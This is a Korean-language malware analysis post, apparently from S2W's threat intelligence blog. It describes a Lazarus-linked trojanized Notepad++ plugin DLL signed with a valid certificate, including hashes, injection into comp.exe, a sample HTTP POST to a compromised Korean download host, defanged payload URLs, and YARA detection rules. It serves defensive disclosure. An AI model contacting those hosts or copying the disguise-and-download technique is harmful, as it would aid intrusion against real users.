Author : Sojun Ryu (hypen) @ Talon
Photo by Rajan Alwan on UnsplashExecutive Summary
- 최근 I사의 C프로그램 설치 여부를 확인하는 악성코드 샘플이 탐지됨
- 악성코드 제작 일시 : 2021–02–10 05:19:21 (UTC)
- 단, 악성코드 제작 일시는 공격자에 의해 변경이 쉽게 가능함 - 악성행위 수행 전 C프로그램 관련 파일 존재 여부를 확인한 뒤, 존재하지 않을 경우 추가 행위를 수행하지 않음
- 최종 행위로는 추가 악성코드를 국내 유포지로부터 다운로드 받고 실행
- 현재 추가 악성코드는 다운로드되지 않음
File Information
- MD5 : b3a8c88297daecdb9b0ac54a3c107797
- SHA-1 : 46660f562fe01b5df0e1ac03dd44b4cc8d2fa5f5
- SHA-256 : a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776
- Creation Time : 2021–02–10 05:19:21
- VT First Submission : 2021–07–01 01:52:58
- Filename : ComparePlus, ComparePlus.dll, SCSKAppLink.dll
- File type : pedll, x86
- Signed file, valid signature
Detailed Analysis
1. 탐지된 샘플은 오픈소스로 공개된 ComparePlus라는 Notepad++ 플러그인의 정상 코드에 악성코드를 다운로드 받는 기능이 추가 된 형태
- Copyright : Copyright © 2019
- Product : ComparePlus (32-bit)
- Description : Compare plugin for Notepad++
- Original Name : ComparePlus.dll
- CompanyName : Pavel Nedev
- File Version : 1.0.0
2. 백신 등 보안장비 우회를 위해 악성코드를 정상 인증서로 서명
- Name : DOCTER USA, INC.
- Serial Number : 2B 7C 17 F1 A3 B3 DF BC 4F 8A 48 AF 73 7C 43 2D
- Valid : 2020/12/07 00:00 ~ 2021/12/07 12:00 (UTC)
- Date signed : 2021–07–02 17:25:00 (UTC)
3. 실행 시 아래 경로를 확인하여 감염기기내 I사 C프로그램설치 여부 확인 후, 해당 경로의 파일들이 존재하는 경우에만 악성행위 수행
- C:\ProgramData\SCSKAppLink.dll
- C:\Program Files (x86)\INITECH\INISAFE Web EX Client\INISAFECrossWebEXSvc.exe 또는
C:\Program Files\INITECH\INISAFE Web EX Client\INISAFECrossWebEXSvc.exe
4. 이후 정상 comp.exe를 실행하여 자기자신을 로드하도록 함
- 프로그램 경로 : C:\WINDOWS\system32\comp.exe
- DLL Injection 기법을 이용하여 강제 로드
5. 최종적으로 국내 유포지로부터 추가 악성코드를 다운로드 후 RC5로 데이터를 decrypt하여 메모리에서 실행
- 접속 패킷 예시
POST /html/facilities/facilities_01_06.asp?product_field=racket HTTP 1.0
Host: grandgolf.co.kr:443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 Edg/87.0.664.57
Accept: text/*
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
연관성 분석
이번에 발견된 악성코드는 과거 Lazarus가 국내 침해사고에서 사용됐던 악성코드와 유사한 decode 방식을 사용하고 있다.
- 과거 Lazarus 악성코드와 이번 악성코드 decode 코드 비교
2. 과거 Lazarus 악성코드와 이번 악성코드 decode 코드 비교 (Python 변환)
<a href="https://medium.com/media/89c770dace39b58e70aa8ff1d7f35b20/href">https://medium.com/media/89c770dace39b58e70aa8ff1d7f35b20/href</a><a href="https://medium.com/media/5759dea745d80b6ca00fb79574e56d96/href">https://medium.com/media/5759dea745d80b6ca00fb79574e56d96/href</a>Conclusion
- 해당 샘플이 사용하는 문자열 디코딩 코드에서 과거 라자루스 공격 그룹이 사용한 악성코드와의 유사점이 확인됨
- 악성행위 수행 전 I사 C프로그램 관련 파일들을 확인하는 것으로 보아, 해당 소프트웨어를 이용하여 추가 악성행위를 수행할 것으로 판단됨
- 이번 샘플 또한 최근 관련 공격 그룹이 지속적으로 사용하고 있는 정상 파일 위장 악성코드를 사용하였으며, 실제 오픈소스 프로그램을 수정하여 제작하였기 때문에 악성 여부 탐지가 쉽지 않음
Appendix
Appendix 1 : IoC
- SCSKAppLink_dll
- MD5 : b3a8c88297daecdb9b0ac54a3c107797
- SHA256 : a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776
- Type : x86, dll - NppAStyle.dll
- MD5 : 98151ba9f3e0a55bba16c58428b3a178
- SHA256 : 61367c3a1d4c9ccaee568157bc4cf2feb997161ed3395878a448d8a2bf67dfa9
- Type : x64, dll
- 1번 악성코드와 동일한 문자열 테이블 용 - 추가 악성코드 다운로드지
- grandgolf[.]co.kr/html/facilities/facilities_01_06.asp?product_field=racket
- www.namchuncheon.co[.]kr/admin/BookAppl/Search_left.asp?product_field=racket
- www.kdone.co[.]kr/Utils/EmailUtil.asp?product_field=racket
Appendix 2 : Dectection yara rule
import "pe"
rule Lazarus_door {
meta:
description = "Lazarus sample disguised as Notepad++ plugin detection rule"
author = "S2WLAB TALON hypen"
date = "2021-07-02"
version = "1.0"
strings:
$decode = {0F B6 45 0C 33 D2 B9 48 00 00 00 F7 F1 8A 0F B8 01 00 00 00 53 84 D2 0F B6 DA 0F 44 D8 84 C9 74 70 29 7D 08 56 8B F7 8B 7D 08 0F 1F 84 00 00 00 00 00 33 C0 3A 88 20 90 06 10 74 08 40 83 F8 48 72 F2 EB 41 33 D2 0F B6 CB 39 55 10 74 18 03 C1 B9 48 00 00 00 F7}
$decode2 = {89 45 F8 8B CB 8D 14 45 01 00 00 00 0F AF D0 8B DE 8B 45 08 89 4D FC 8D 34 4D 01 00 00 00 0F AF F1 2B 58 04 8B C7 8B 7D 08 C1 C2 05 8B CA 83 E1 1F C1 C6 05 2B 07 83 EF 08 D3 CB 33 DE 89 7D 08 83 E6 1F 8B CE 8B 75 F8 D3 C8 33 C2 8B 55 FC}
$table = "lM8FHOIqrEDm3dUB54_bsuX60GoKVaw9SPxc1kRQvWC-h2jf7egNizJTyZnAYLpt."
condition :
uint16(0) == 0x5A4D and 1 of them
}
rule Lazarus_door_signature {
meta:
description = "Lazarus sample disguised as Notepad++ plugin signature detection rule "
author = "S2WLAB TALON hypen"
date = "2021-07-02"
version = "1.0"
condition :
uint16(0) == 0x5A4D and
for any i in (0 .. pe.number_of_signatures) : (
pe.signatures[i].serial ==
"2b:7c:17:f1:a3:b3:df:bc:4f:8a:48:af:73:7c:43:2d"
)
}
Analysis of Lazarus malware abusing Non-ActiveX Module in South Korea was originally published in S2W LAB BLOG on Medium, where people are continuing the conversation by highlighting and responding to this story.
Article Link: Analysis of Lazarus malware abusing Non-ActiveX Module in South Korea | by S2W | S2W BLOG | Medium